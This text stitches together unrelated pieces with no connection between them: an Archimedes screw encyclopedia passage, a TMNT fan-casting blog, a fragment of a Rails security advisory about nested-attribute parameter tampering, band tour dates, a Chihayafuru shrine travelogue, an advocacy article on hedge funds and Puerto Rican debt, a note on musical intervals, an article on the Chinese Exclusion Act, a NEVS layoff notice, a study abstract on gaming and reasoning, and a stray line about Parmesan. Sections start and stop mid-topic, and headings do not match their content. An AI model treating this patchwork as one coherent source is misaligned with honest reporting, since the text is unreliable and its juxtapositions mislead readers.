An Archimedes screw was used in the successful 2001 stabilization of the Leaning Tower of Pisa. Small amounts of subsoil saturated by groundwater removed from far below the north side of the tower, and the weight of the tower itself corrected the lean. Archimedes screws are also used in chocolate fountains.
Variants [ edit ]
A screw conveyor is an Archimedes screw contained within a tube and turned by a motor so as to deliver material from one end of the conveyor to the other. It is particularly suitable for transport of granular materials such as plastic granules used in injection molding, and cereal grains. It may also be used to transport liquids. In industrial control applications the conveyor may be used as a rotary feeder or variable rate feeder to deliver a measured rate or quantity of material into a process.
A variant of the Archimedes screw can also be found in some injection molding machines, die casting machines and extrusion of plastics, which employ a screw of decreasing pitch to compress and melt the material. It is also used in a rotary-screw air compressor. On a much larger scale, Archimedes's screws of decreasing pitch are used for the compaction of waste material.
Reverse action [ edit ]
If water is fed into the top of an Archimedes screw, it will force the screw to rotate. The rotating shaft can then be used to drive an electric generator. Such an installation has the same benefits as using the screw for pumping: the ability to handle very dirty water and widely varying rates of flow at high efficiency. Settle Hydro and Torrs Hydro are two reverse screw micro hydro schemes operating in England. The screw works well as a generator at low heads, commonly found in English rivers, including the Thames, powering Windsor Castle.[5]
In 2017, the first reverse screw hydropower in the United States opened in Meriden, Connecticut.[6][7] The Meriden project was built and is operated by New England Hydropower having a nameplate capacity of 193 kW and a capacity factor of approximately 55% over a 5-year running period.
See also [ edit ]
Notes [ edit ]
Alright, round 4… selection D… whatever. There was some super terrific response to this concept initiative launched last month so we figure why not keep going? To regroup: Dan and I covered our essential 4 turtles, Splinter and April, and the villains Shredder, Beebop, and Rocksteady. Dan effectively freshly cast everyone based on contemporary voice actor merit, while I used our premise of voice casting the Mutants in Manhattan video game as an excuse to assemble my dream team of prior TMNT portrayals… I.E. the voices I hear in my head when I read the IDW series which the game is obviously based upon.
To disclaim: I really cannot poo-poo upon anyone’s prior portrayal as I, as well as the majority of you I assume, are just die-hard TMNT fans and have some semblance of love for even the less savory endeavors (*cough* Holiday Special *cough* Next Mutation). There are so many tremendous portrayals spanning the generations and it really is hard picking a true favorite. That being said, my choices are just the ones that stuck to my ribs for whatever reason; a mish-mash of pie-in-the-sky potentials. However, in the next batch we will be covering some characters that have either NEVER been portrayed before in live-action/CGI, or RARELY realized off the page, or simply in need of a refresh due to the characterization within the IDW books. Remember: the whole original concept that was in the back of my brain was “what if IDW made a new movie instead of Michael Bay”… so on that note, here we go again:
Koya – Katherine McPhee (American Idol, Scorpion) A bird should be able to sing; this bird should also be a perfect combination of disciplined and unpredictably ruthless. Plus that timbre she has.. the slight rasp… its sultry and authoritative all at the same time.
Bludgeon – Danny Trejo (Machete Kills, From Dusk til Dawn) Do I really need to explain this one? Both are men of few words, both unstoppable forces of nature, both brutally bone chilling, but not without a redeeming level of monk-like tranquility.
Karai – Jamie Chung (Hangover{s}, Sin City) Shredder’s Chunin is not a conventional choice, but isn’t that kind of the point of Karai? She is supposed to have a lot more under the hood than her outward appearance would suggest. Granted, I believe she would need a severe amount of training to get up to speed, plus dial up the ‘ice-cold-bitch’ attitude, but this was a good start…
Kitsune – Michelle Yeoh (Crouching Tiger Hidden Dragon, Tomorrow Never Dies) I fell in love with her in TND, and while she wouldn’t really need to fight in character (…yet), her intensity yet motherly qualities would make her a strong candidate for this role. Not to mention her strength in bilingual dialogue and age-appropriateness to Ken Watanabe work well… plus the deepness of her voice gives her a really mysterious quality.
Hun – Tom Jane
Hun runs the streets, similar (yet very differently) to how the Punisher does. Yet the character isn’t without (albeit misguided) sympathy. Tom Jane deserves a good comic-book role, he’s proven he has the chops (it wasn’t his fault that the first Punisher wasn’t fantastic), however this little follow up proved his fortitude at least to me:
Rock soldiers, General Granitor & Captain Traag
Kevin Michael Richardson (Teenage Mutant Ninja Turtles, Transformers Prime)
Dee Bradley Baker (Star Wars: The Clone Wars, Legends of the Hidden Temple) Two veteran voice actors playing two dominating and intimidating characters LONG overlooked in the TMNT realm. Kraang’s true right-hand men, one portrayed by the man currently responsible for the Shredder animated legacy and the other the voice of A GIANT STONE WARRIOR. Fate. Rat King – Troy Baker (Uncharted, Bioshock, Arkham City)
The only man who could uphold the Mark Hammil Joker legacy, and a hard character to truly place in the mythos. The sinistry of the Rat-King would translate well via Troy Baker’s daunting versatility. Baxter Stockman – Giancarlo Esposito (Breaking Bad, Do the Right Thing) The man exudes poise and proper etiquette. It would not be hard to imagine Stockman’s pretentious conniving words passing through Gustav’s lips.
Krang – Jim Cummings Believe it or not, his portrayal of Winnie the Pooh was NOT my motivation for the choice, rather his bone-chillingly bi-polar take on Dr. Robotnik. A little warp and phasing effects to translate it through the android body and I think we have a truly frightening and memorable Krang that doesn’t drift toward the sillier ‘exorcized warlord’ territory. BONUS: Frank Welker as Quanin (Krang’s father) and Pat Fraley (OG Krang) shows up as supporting Utrom voices.
Null – Rose McGowan Now originally I was imagining Null being portrayed by Clancy Brown because of his Lex Luthor on Superman The Animated Series, however when I first imagined this list it was during the debut of The Mutanimals micro-series (just as Null is being teased in shadow). Learning that Null in this book was female took me a different direction. Her body language and look hinged the bulk of this casting, however this was also a factor:
Those are some impressive choices, right? Like I teased at the beginning, I have one exception to this list. Tom Jane as Hun. It’s not that I think he’d be bad, I just have the ultimate choice for TMNTs resident crazed strongman:
That’s right. Henry Rollins. The punk renaissance man is perfect for Hun. He’s visceral and aggressive. His quiet and tempered voice is scarier than his full volume scream. He can ooze menace but could totally find the core of Hun’s twisted sense of loyalty and family. His physicality is perfect. Plus it gives me the opportunity to post a clip of his work as Mad Stan from Batman Beyond and that’s just awesome.
Versions Affected: 3.0.0, 2.3.9
Not affected: Versions earlier than 2.3.9 and applications which do not use accepts_nested_attributes_for
Fixed Versions: 3.0.1, 2.3.10
Impact
An attacker could change parameter names for form inputs and make changes to arbitrary records in the system. All users running an affected release should upgrade immediately.
Releases
The 3.0.1 and 2.3.10 releases are available at the normal locations. The 3.0.1 release consists solely of 3.0.0 with the security issue fixed, 3.0.2 will follow shortly and include other bugfixes as well as this fix. 2.3.10 is a regular release in the 2.3 series.
Workarounds
There are no feasible workarounds for this issue.
Patches
To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
Please note that only the 2.3.x and 3.0.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible.
Credits
The Brooklyn-based band mixes dynamics with studied aplomb: pounding drums, warped synth scratches, and a bold horn section are wedded to singer Kalmia Traver’s conversational, lilting singing style, which altogether create the perfect soundtrack for these surreal escapades. It's baroque pop of the extremely epic variety.
Rubblebucket's LP, Survival Sounds, is out via Communion Records on 25.8.
Rubblebucket Tour Dates
* Body Language and 2001 support
† Body Language supports
‡ Royal Canoe supports
** Landlady supports
July 4 /// Reading, UK /// Oakford Social Club
July 12 /// Marshfeld, MA /// Levitate Music Festival
July 25 /// Guelph, ON /// Hillside Music Festival
August 2 /// Johnstown, PA /// Flood City Music Festival
August 21 /// Cleveland, OH /// Grog Shop
August 22 /// Grand Rapids, MI /// Intersection
August 24 /// Chicago, IL /// The Boulevard
August 26 /// New York, NY /// Mercury Lounge
August 27 /// Brooklyn, NY /// Rough Trade
September 6 /// Toronto, ON /// Riot Fest
September 10 /// Providence, RI /// Fete*
September 11 /// Portland, ME /// Port City Music Hall*
September 12 /// Syracuse, NY /// Westcott Theatre*
September 13 /// Ithaca, NY /// The Haunt*
September 14 /// Albany, NY /// The Hallow*
September 16 /// Fairfield, CT /// Stage One†
September 18 /// Philadelphia, PA /// Union Transfer†
September 19 /// Washington, DC /// U Street†
September 20 /// Raleigh, NC /// Lincoln Theatre†
September 21 /// Charlottesville,VA /// Jefferson Theatre†
September 24 /// Atlanta, GA /// Terminal West†
September 25 /// Aheville, NC /// Orange Peel†
September 26 /// Cincinatti, OH /// Midpoint Music Festival†
September 27 /// Ann Arbor, MI /// Bling Pig†
September 28 /// Madison, WI /// High Noon Saloon†
September 30 /// Minneapolis, MN /// 7th Street†
October 1 /// Iowa City, IA /// Blue Moose Tap Room†
October 3 /// Denver, CO /// Bluebird†
October 4 /// Salt Lake City, UT /// State Room†
October 6 /// Boise, ID /// Neurolux†
October 7 /// Bozeman, MT /// The Zebra†
October 8 /// Missoula, MT /// Palace Lounge†
October 10 /// Seattle, WA /// Chop Suey‡
October 12 /// Portland, OR /// Doug Fir‡
October 15 /// San Francisco, CA /// The Independent‡
October 16 /// Los Angeles, CA /// El Rey Theatre‡
October 17 /// San Diego, CA /// The Casbah‡
October 18 /// San Diego, CA /// The Casbah
October 20 /// Phoenix, AZ /// Rhythm Room**
October 21 /// Albuquerque, NM /// Launchpad**
October 23 /// Austin, TX /// Red 7
October 24 /// Houston, TX /// Fitzgerald’s
October 25 /// Dallas, TX /// Club Dada
October 27 /// Kansas City, MO /// The Record Bar
October 28 /// St. Louis, MO /// Old Rock House
October 29 /// Nashville, TN /// High Watt
November 6 /// Burlington, VT /// Higher Ground‡
November 7 /// Burlington, VT /// Higher Ground‡
November 9 /// Boston, MA /// Paradise ‡
Aliza doesn't want to work in that chocolate factory, but she does want chocolate. She's on Twitter - @AlizaAbarbanel
More stuff we're sure you will like
La Roux's Uncomfortable Paradise
This time I visited the Oumi Jinguu Shrine and its neighborhood in the western Shiga prefecture, one of the main sites of Chihayafuru, the popular anime about competitive karuta!
I have so many photos to show you! Let’s go see some of the scenes that appeared in Chihayafuru!
What is Chihayafuru?
Chihayafuru is a shoujo genre manga series about a girl who devotes herself to competitive karuta, . a traditional japanese card game. The series is very popular: it has two TV anime seasons and two live-action films.
Chihayafuru has many Japanese cultural aspects and a cast of cheerful characters that many fans fell in love with. The fandom is still trying to get the production company to work on a third season.
Oumi Jinguu Shrine
I decided to start the tour at Oumijinguumae Station (近江神宮前駅) on the Keihan Electric Railway Ishiyama Sakamoto Line. I wanted to visit the sights in this order: Oumi Jinguu Shrine (近江神宮), Oumi Kangakukan (近江勧学館), and Ootsukyou Station (大津京駅) on West Japan Railway Company.
To get to Oumijinguumae Station, I’d recommend taking the Touzai Line (東西線) of the Kyoto Municipal Subway (京都市営地下鉄) bound for Hamaootsu (浜大津), then change trains at Hamaootsu to either Sakamoto (坂本) or Oumijinguumae(近江神宮前). In case you get lost or have trouble transferring, don’t hesitate to ask a station employee. They will kindly show you the way.
Collaboration of Keihan Electric Railway and Chihayafuru
Keihan Electric Railway and Chihayafuru are currently having a collaboration project until the end of March, 2017. I managed to get on the ‘wrapped train’ (train cars ‘wrapped’ with special anime illustration decoration)!
In recent years, anime has been often used in Japanese regional development. They are used to attract tourists, and these anime-themed trains are spawning one after another, pleasing anime fans. Not all cars are decorated with the anime illustrations, so please ask a station employee for details. You don’t want to miss these cars!
There are anime illustrations inside the train too!
There are popular quotes and scenes from the manga printed inside the car.
My personal favorite quote is by Harada sensei:
Spend your entire youth without becoming stronger? Eyelashes-kun, hold that thought for now.
I couldn’t find this quote in the train I got on, but isn’t it fascinating?
Oumijinguumae Station (近江神宮前駅)
The Oumijinguumae Station had a huge Chihayafuru poster. It made me realize that I had really set my foot on the land of the Chihayafuru world.
There is another big poster after you go through the ticket gate. It says, ‘Welcome to Oumi Jinguu, the place of competitive karuta!’, with an instruction on how to get to the shrine: walk past the railroad crossing, walk straight and then turn right at the traffic light at the end. Then follow the road for about five minutes on foot. You’re almost there!
Oumi Jinguu Shrine (近江神宮)
The most important seichi, or sacred place, is Oumi Jinguu Shrine where the national tournaments are held.
After walking through a park, you’ll see a set of stairs with the shrine at the end. You can relate to how Chihaya felt in the anime just by seeing the shrine shining bright red. I took photos similar to the way the shrine appeared in the opening footage.
Aki no ta no kariho no io no toma wo arami
Waga koromode wa tsuyuni nuretsutsu
Waiting for morning in the lookout shed, I watch over the harvest alone. The gaps in the weave of the roof are large, and my kimono, wet from the night mist, never seems to dry.
(Source)
The ‘Akinotano~’ that Kana-chan explained to Chihaya in Chihayafuru was on display.
Do you remember the scene where they prayed at the shrine? See how accurately it was illustrated in the show.
This is where Chihaya encountered Shinobu Wakamiya. Do you remember the huge ring (called chinowa) that was shown in both the anime and the manga? This special ring is used for a shinto ceremony on June 30, and worshippers pass through it as an act of purification from impurities they have accumulated in the six months since the New Year’s day. They wish for sound health for the rest of the year.
Special Chihayafuru Omikuji and Kimono Try-on
You can also try a kimono! You can choose both its color and the patterns, and you can walk around the shrine precinct for only 500 yen per hour.
The kimono have hook-and-loop fasteners for convenience and you can easily wear it alone. They also have kimono for men and children. Kimono try-on is very popular among tourists.
They also have Chihayafuru Omikuji (oracle or fortune telling slips with Chihayafuru illustrations). You can purchase one for 300 yen and check your luck. I tried one.
I got Shoukichi (小吉/Small blessing)! The other fortune options are Daikichi (大吉/Great blessing), Chuukichi (中吉/Middle blessing), Kichi (吉/Blessing), Suekichi (末吉/Future or uncertain blessing), Kyou (凶/Curse), and Daikyou (大凶/Great curse). Mine was the third best I could get.
I may not have the best of blessing, but I was so happy that I got my favorite quote in it! You can also use this slip as a book marker.
Oumi Kangakukan (近江勧学館/Oumi School)
After enjoying the Oumi Jinguu Shrine, let’s go to Oumi Kangakukan, the place where the Nationals for competitive karuta are held. It’s inside the shrine property, so you can easily find it.
Yes, yes, it’s here! Where Chihaya, Taichi and the rest played their games!
It was really exciting to be here!
The lounge on the first floor looks like in the anime. Amazing! They had a poster of the live-action film.
They have Tsukue-kun’s(Desk-tom kun) notebook at the entrance! Chihayafuru fan can leave their comments in the notebook. I saw many comments written by foreign fans as well.
I found an ema (a small wooden plaque for shinto prayer) by Yuki Suetsugu, the original creator of Chihayafuru!
The board in the lounge had signatures by the live-action film cast members.
This is the fusuma (Japanese traditional partitioning made with paper and wooden frames) used in the live-action film.
They showed me the room used for B Class matches. High school karuta competitions are held in this room. They place tatami mats all over the floor when they the games are played.
When you go upstairs…
You’ll see the lounge where Chihaya and her friends reported the match results. You can see how accurately the anime presented the place.
And this is the room where the champion matches for Meijin or Queen and A Class take place. You could feel that there was a tension in the air.
I noticed that they had a hole in a shouji (障子/paper window). They told me that it happens when karuta players sweep cards!
They also told me that the tatami mats wear out in about five years. You can see some frayed parts at the edges. I realize that competitive karuta is quite a rough sport.
In the lounge, they had limited edition T-Shirts of Chihayafuru for 1,500 yen each. They sell new limited edition items every year for the high school competitions.
They also sell karuta cards and snacks for souvenirs.
After enjoying Oumi Kangakukan, I went to Ootsukyou Station (大津京駅). It’s about twenty minutes walk, or about three minutes by taxi from the shrine.
This is the place that appeared in the show when Arata first came to Shiga prefecture.
Yes, Chihaya and the others were walking here too.
Sight-seeing filled with Chihayafuru love!
This Chihayafuru seichi around the Oumi Jinguu Shrine made me realize how much love for the anime exists in this place. You’ll see a lot of Chihayafuru posters everywhere and limited merchandise being sold.
At the Oumijinguumae Station office, they also sell special Chihayafuru railway-tickets. They only sell a limited amount of 1,200 tickets, so they usually get sold out pretty quickly, but if you have a chance to visit this place, check out if they still have them.
The island of Puerto Rico has been devastated by a set of human-made catastrophes – two hurricanes supercharged by fossil fuel emissions and a debt crisis and ruthless austerity regime imposed by Wall Street.
Seeds for both of these disasters were sown by Seth Klarman, the president of Baupost Group, a Boston-based hedge fund heavily invested in both Puerto Rican debt and in the oil and gas industry. Klarman is also a trustee of the American Enterprise Institute, a think tank which has both fought against action on climate change and for austerity in Puerto Rico.
Baupost Group went to great lengths to conceal its ownership of bonds backed by Puerto Rican sales tax revenues by investing in the debt through a series of subsidiaries named Decagon Holdings. Baupost’s investment was eventually exposed by The Intercept’s David Dayen in collaboration with PAI/LittleSis. In the most recent court filing, Baupost shell companies reported owning more than $925 million in COFINA bonds backed by sales tax revenues.
Baupost also holds $1.8 billion of equity in oil and gas companies. At the end of the second quarter of 2017, oil and gas stocks made up 21% of Baupost’s equity portfolio, including more than $1 billion worth of stock in liquefied natural gas exporter Cheniere Energy. Other oil and gas equities held by Baupost include Antero Resources – $457.5 million – and PBF Energy – $350 million.
Among the top 10 owners of Puerto Rican debt identified by Centro de Periodismo Investigativo (CPI), three others – Monarch Alternative Capital, Goldentree Asset Management, and Oaktree Capital Management – also have significant public fossil fuel holdings.
Cheniere Energy and Baupost
Baupost Group is the second-largest shareholder in liquefied natural gas (LNG) export firm Cheniere Energy. According to SEC filings, Baupost owns 8.7% of all outstanding Cheniere stock, second only to legendary corporate raider Carl Icahn.
Cheniere was the first company to receive permits to export LNG from the lower 48 United States. The company was the first to apply for export permits in 2013, from its Sabine Pass gas terminal. Exporting natural gas was not feasible before then (in fact, Cheniere’s facility was built as an LNG import terminal amid fears in 2008 of a natural gas shortage); however, the glut of cheap methane made available by the fracking boom changed the calculus. Since Cheniere first applied to export LNG, several other companies have followed suit, seeking and receiving export permits from the federal government, though none have yet made any shipments.
Though President Obama embraced a broad expansion of LNG exports as a way to address the climate crisis, in 2014 the Department of Energy found that using LNG for power production in Europe and Asia offered no climate benefit over coal.
Much of the political support for LNG exports came thanks to an enormously influential 2011 report from the Massachusetts Institute of Technology called “The Future of Natural Gas.” The report was funded by a number of industry sponsors and touted natural gas produced by fracking as a climate benefit and specifically called for the expansion of liquefied natural gas exports. John Deutch, a former CIA director who sat on the board that advised the study, was also a board member at Cheniere at the time.
PAI detailed the ties behind this study that drove political support for LNG exports in our 2013 report “Industry Partner or Industry Puppet?”
Cheniere gained necessary approvals to export LNG in 2013 and in 2014, President Obama’s top energy advisor Heather Zichal took a seat on the Cheniere board of directors.
Between 2014 and the end of 2016, Klarman accrued a stake in Cheniere that was worth more than $1.2 billion and accounted for 11.8% of the company’s total outstanding shares at its peak. Though he has since sold off some of his Cheniere stock, Baupost Group is still the second-largest beneficial owner of the company with 8.7% of outstanding shares.
Other energy companies
Baupost also owns a $457.5 million stake in Antero Resources, an oil and gas fracking venture focused on drilling in Appalachia. According to an August 2017 filing with the SEC, Baupost owns 21.2 million shares of Antero stock, equal to 6.7% of the company’s total outstanding shares.
Oddly, neither Baupost nor Klarman is listed among major beneficial owners on Antero’s 2017 proxy form (filed in April 2017), though they do appear on the company’s 2016 proxy.
Klarman’s fund further owns a 14% stake worth $350 million in PBF Energy, an oil and gas refining company. On PBF’s 2017 proxy statement to the SEC, Baupost is identified as the company’s largest beneficial shareholder.
Between Cheniere, Antero, and PBF Energy, Baupost has more than $1.8 billion invested in publicly traded oil and gas companies, playing a major role in financing the drivers of climate change – which has wrought cataclysm on places like Puerto Rico.
Baupost and Puerto Rico
Klarman’s investments in Puerto Rico were not always public knowledge. Court documents from a lawsuit filed by investors in COFINA bonds show a set of ten shell companies – named Decagon Holdings 1 through 10, LLC – collectively own more than $925 million of the bonds.
Those shell companies were created in August 2015, presumably for the purpose of investing in distressed Puerto Rican bonds. The debt was an attractive investment to many “vulture funds” that bought up bonds at a sharp discount due to the island’s precarious financial situation. They then pressured the Puerto Rican government to pay them off at full price, in the hopes of generating massive profits for investors while forcing cuts to infrastructure investments and social services for the people of Puerto Rico.
These cuts contributed to the hurricanes’ catastrophic impact on the island.
Klarman, who is notoriously secretive, says that Baupost used the Decagon Holdings entities to keep competitors from learning about the debt purchases, which he told CNBC “could have an adverse effect on our ability to trade.” None of the other major bondholders concealed their investments via shell companies.
It is also plausible that Klarman was also trying to protect himself from negative publicity. His undisclosed multi-million-dollar contribution to a pro-charter school PAC in Boston made waves earlier this year.
American Enterprise Institute
Klarman is also a trustee at the American Enterprise Institute, a free market think tank that has long trafficked in climate change denial and has touted austerity while pushing policies favorable to its corporate donors. Klarman’s fellow trustees include several executives at hedge funds and private equity firms as well as executives from major US corporations such as Dell and State Farm.
AEI was a vocal supporter of increasing exports of liquefied natural gas as well as lifting the ban on crude oil exports, both of which were enacted late in President Obama’s second term. The group receives hundreds of thousands of dollars per year from ExxonMobil and has also obtained funding from the family charity of Charles Koch. It has also received millions through DonorsTrust and Donors Capital Fund, the so-called “dark money ATMs” that allow wealthy donors to conceal their funding of various right-wing causes.
The think tank, whose board of trustees includes 14 hedge fund and private equity executives, has also taken a hard line on Puerto Rico. On June 30, 2017, AEI published an article by four members of the Puerto Rico Financial Oversight and Management Board appointed by President Obama calling to privatize PREPA, the Puerto Rican power authority, to protect bondholders and encourage more private investment on the island. A July 20 column called for cutting Puerto Rico’s minimum wage, “reforming” welfare payments, and “streamlining” labor laws to cut employment costs.
On October 17, as millions on the island were without power or water and – as we now know – hundreds of people were dying in the wake of Hurricanes Irma and Maria, AEI’s Benjamin Zycher wrote that asking Puerto Rico’s creditors to take a haircut on their debt would be “perverse.”
Other Puerto Rico vultures have major fossil fuel investments
Baupost Group is not the only hedge fund that is heavily invested in both Puerto Rican debt and in the fossil fuel-induced climate change superpowering Atlantic storms. Three other firms among the top 10 holders of the island’s debt, as identified by CPI in In These Times, have significant public fossil fuel holdings.
Goldentree Asset Management
When CPI published its analysis on October 17, 2017, Goldentree Asset Management, led by Steve Shapiro, was the fifth largest known holder of Puerto Rican debt, with $587 million worth of COFINA bonds. However, an October 26 filing shows that Goldentree has increased its stake and now owns $852 million worth of COFINA bonds.
Shapiro’s firm also owns $47.8 million in equity in fossil fuel companies, 10.35% of its total public holdings.
Appalachian shale driller Rice Energy is the biggest fossil fuel stock in Goldentree’s public portfolio; the fund’s $22.5 million stake makes up 4.86% of its holdings. Goldentree also has money invested in Parsley Energy and Southwestern Energy Corp.
Monarch Alternative Capital
Monarch Alternative Capital, founded by Michael Weinstock, Andrew Herenstein and Chris Santana, owns $607 million worth of general obligation bonds. The firm is part of an ad hoc coalition of bondholders which has tried to force Puerto Rico to fire teachers, cut public funding for the University of Puerto Rico, and cut Medicaid benefits as part of a repayment plan.
Monarch is also a major investor in coal. The firm owns $226 million worth of stock in Arch Coal, 13.2% of the company according to a March 2017 SEC filing. Arch stock makes up 20.3% of Monarch’s total public portfolio.
The firm also owns $40.6 million worth of stock in Resolute Energy Corp, an oil and gas company headquartered in Denver whose major fracking operations are in the Delaware Basin in West Texas and New Mexico.
Oaktree Capital Management
Oaktree Capital Management is the ninth largest owner of Puerto Rican debt. The fund, co-chaired by Howard Marks and Bruce Karsh, holds $410 million in Employee Retirement System bonds.
The firm also has $1.29 billion invested in fossil fuels, including $845 million in Vistra Energy, a Texas electric utility that uses coal and nuclear power.
Other major fossil fuel holdings in Oaktree’s public portfolio include a $73.5 million stake in Andeavor, the petroleum refining operation formerly known as Tesoro; a $72.6 million stake in Energy XXI, an offshore drilling company in the Gulf of Mexico; and a $42.9 million stake in Comstock Resources, a Texas exploration and production company.
Puerto Rico’s debt crisis and climate crisis connected
In sum, many of the same powerful hedge funds that are driving the austerity crisis in Puerto Rico are also helping to fuel the climate change that we see devastating the island now.
The humanitarian disaster, whose official death toll of 55 reflects an issue of serious underreporting, has its origins in the public service cutbacks demanded by the creditors that bought up Puerto Rico’s debt and in the global warming caused by the production and exploitation of fossil energy.
I think the basic concept of musical intervals would be a good one for us to tackle in an upcoming write-up. The basic idea is that if you take the first note of the scale along with the third note of the scale, those notes form a third. If you take the first note and the fifth note, those notes form a fifth, and so on. Those intervals can then be major, minor, perfect, diminished, or augmented, which can get a little more complicated, but the basic idea of the numbers is that you just count how many notes apart they are in the scale.
Remembering how the earliest arrivals among them were targeted by discriminatory immigration policies, some Chinese Americans are cautioning Washington against repeating the mistakes it made more than a century ago.
"We will look back on this Trump ban as a shameful chapter of US history," said Bill Ong Hing, a University of San Francisco law professor who has worked to defend American civil liberties.
Hing explained that several organisations - San Francisco's Asian Law Caucus, as well as New York's Asian American Legal Defense and Education Fund - are among the legal minds participating in the nationwide fight against the order.
For many in the Chinese American community, this feels all too familiar.
Scapegoats
The US Scott Act of 1888 barred Chinese - some of whom had residency permits and had lived and worked in the US for years - from returning after leaving the country, many to visit family back in China.
"There were several hundred Chinese in the port of San Francisco who were prevented from landing because of the act, similar to the folks at US airports this past few days," said Gordon H Chang, a Stanford University American history professor who specialises in Asian American history.
The Scott Act affected 20,000 US residents of Chinese origin, Chang said. It was one of several modifications to the Chinese Exclusion Act, which, in 1882, aimed to stop immigration from what was a tumultuous, poorly governed, heavily colonised, Qing Dynasty China.
The Chinese, historians say, were scapegoated by the US administration as a cover for the country's economic woes, which were entirely unrelated to Chinese immigration.
On its surface, the Chinese Exclusion Act and its aftershocks like the Scott Act had the effect of drastically lowering the Chinese American community's numbers. But there were also other deeper and longer-lasting consequences.
"Obviously, this affected the size of the community, where they lived - in ghettos or Chinatowns - gender ratios, socioeconomic status," Hing said, referring to how, in response to this state-sponsored discrimination, many Chinese Americans retreated to Chinatowns.
Chinatowns are today seen as entertainment venues, where Chinese Americans shop for groceries and sell food and trinkets to outsiders. But, historically, these were ghettos to which Chinese Americans had retreated in order to find community support against discriminatory laws and rampant hate crimes committed against them. The Chinatown phenomenon has continued until today, with many Americans of Chinese origin trapped in the generational poverty that Chinatowns represent for some.
The Chinese Exclusion Act was repealed more than six decades after it was introduced, in December 1943 - and then only because it suited Washington's diplomatic agenda of the day, explained Sue Lee, the executive director of the Chinese Historical Society of America. China had become a US ally against the Japanese during World War II.
"It politically wasn't seemly to restrict the citizens of an ally," Lee said.
'It's happening again'
There's a lesson in what happened for the modern day, some say. And there are lessons to be learned from the Chinese American experience.
"The current ban on folks from the seven countries identified by Trump is similar in that these are blanket injunctions that are unsupportable by evidence that they did or will make any difference," Chan said. "They are scapegoat measures pure and simple, pandering to public prejudices. Very dangerous."
Lee agreed. "One of the reasons it's important to know about it is to learn that, at one time, the US government singled out an ethnic group - the Chinese - from entering the US. That's a lesson that we need to remember. And it's happening again."
READ MORE - Immigration ban: Hope trumps fear for Iranian-Americans
Los Angeles' rapidly gentrifying Chinatown - the epicentre of a community that arrived in the mid-1800s to help build the US's transportation infrastructure - was especially quiet on Sunday. And it was the second day of the Spring Festival or Lunar New Year, when many in the international Chinese community gather with family for celebrations.
Chinatown historical organisations - the Chinese American Museum and the Chinese Historical Society of Southern California - frequently host exhibits and events to commemorate the Exclusion Act, both to preserve and immortalise its place in the Chinese American saga, and for intra-communal posterity in the hope of preventing the enactment of new discriminatory immigration codes.
If there's a particular lesson to be learned from the history of Chinese exclusion in the United States, it's one of timing, according to Lee.
Trump on Friday signed an executive order banning people from Iraq, Iran, Libya, Somalia, Sudan, Syria and Yemen for a minimum of 90 days.
The Chinese Exclusion Act was initially signed into law by US President Chester A Arthur in 1882. It had come with an initial lease of 10 years. But then in 1892, it was extended by another decade. Finally, in 1902, it was renewed without limit.
Arthur served only a four-year term, but the law spanned 12 administrations with vastly different domestic and international policies. In other words, precedent shows that if such a policy is enacted, it may be extended indefinitely.
"That's something that ... we need to be aware of happening with these executive orders ... They can be expanded and extended," Lee said.
A history of resistance
Another lesson is that of Chinese American resistance. It is a source of inspiration to many in the Chinese American community that Chinese often stood up against the Exclusion Act and the series of measures, like the Scott Act, that also aimed to drive an entire ethnic community from the US.
One of the anti-Chinese laws mandated that Chinese had to carry photo identification on them at all times.
"The Geary Act of 1892 required Chinese in the US to carry photo identification certificates on their person at all times or face deportation," Chang said. "Tens of thousands refused to comply by refusing to register."
Another way that Chinese Americans resisted was to game the system, Lee explained.
After the 1906 Great Earthquake of San Francisco caused a fire that destroyed public documents, many Chinese came to the US as so-called Paper Sons, claiming to be the children of existing US residents.
Sue Lee's own grandfather, Look Lee, was one such Paper Son. His - and her - actual inherited surname -are Wong. While this was something her grandfather kept a secret, having these false names is a source of pride - a reminder of resilience - to many modern-day Chinese Americans, she said.
And then there were those who tried to fight within the framework of the laws themselves.
"One thing the Chinese American people did was they fought. There were lawsuits. They sued. Chinese Americans stood up and fought for their rights. You have lawyers in the airports offering legal aid to fight the executive orders legally, so that's something to learn from the Chinese Exclusion," Lee said.
READ MORE: Six other time the US has banned immigrants
'People don't know about the Chinese Exclusion Act'
A lawyer for US advocacy group American Civil Liberties Union (ACLU), Mitra Ebadolahi, spoke to Al Jazeera from New York's JFK Airport on Sunday, where she was helping to lead the charge in what she called "an army of lawyers" aiming to protect "precious freedoms".
The lessons of the past - and the legacy of Chinese Exclusion - have often fallen on deaf ears, though, according to Lee. It's still not part of the popular discussion on American history, she said.
"I think frankly people don't know about the Exclusion Act," she told Al Jazeera by phone, after returning home from a Chinese New Year family gathering.
Lee and Chang noted that despite official apologies from the US government, there have been no reparations made for the act that devastated Chinese American families.
Where Japanese Americans have received monetary compensation for their detention during the Second World War, Chinese families split apart by the Exclusion Act and the codes that compounded it have not.
NEVS had retained its permanent workforce for production since the production was stopped in the end of May this year to enable a quick re-start of production.
Re-starting production would require securing long-term secured and a business plan that has been worked through together with a new majority owner.
The ongoing discussions on collaboration and ownership structure, which has not yet resulted in a binding agreement, indicates that the decision for a start-up of production will take time, NEVS said.
This being the condition, NEVS’ management decided to hand in a notice of intention to lay off up to 200 employees to the Swedish Public Employment Service.
The terminations will take place in September in order to reduce rapidly the company’s costs during the reorganization period. This is a step in the reorganization plan that the administrator will present on the creditors meeting on 8 October.
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The promise that electronic games might positively influence human cognition is one that generates intense public, corporate, and scientific interest. The present research drew on a large sample of school-aged children and considered both their electronic gaming and cognitive performance to test of the gaming-enhancement hypothesis. Of central interest was the nature of the potential relations between children’s self-reported preferences and gaming habits, and performance on a widely used test of deductive reasoning ability. Contrary to our expectations, the results did not provide substantial evidence in support of the idea that the complex and interactive experiences provided by commercially available games generalize to functioning outside of gaming contexts. In most cases, the evidence was in favor of the null hypothesis over this account.
We hypothesized that those who express preferences for action, strategy, and multiplayer online games, modes of play would show modestly higher levels of cognitive performance as seen in previous smaller-scale studies (Basak et al., 2011). In contrast to what was expected, we found equivocal to very strong evidence favoring the null hypothesis over this prediction. Second, we hypothesized that regular engagement with games—playing five or more hours a week of action, strategy, and multiplayer online games—would be linked with better reasoning ability. Results from our analyses did not support this prediction. Evidence for regular strategy game players were equivocal, but ranged from moderately to strongly in favor of the null for these types of games. Taken together, our findings disconfirmed the gaming-enhancement hypothesis, especially in terms of the larger effects reported in top-tier journals.
Here is the finished results with some Parmesan cheese grated on top.
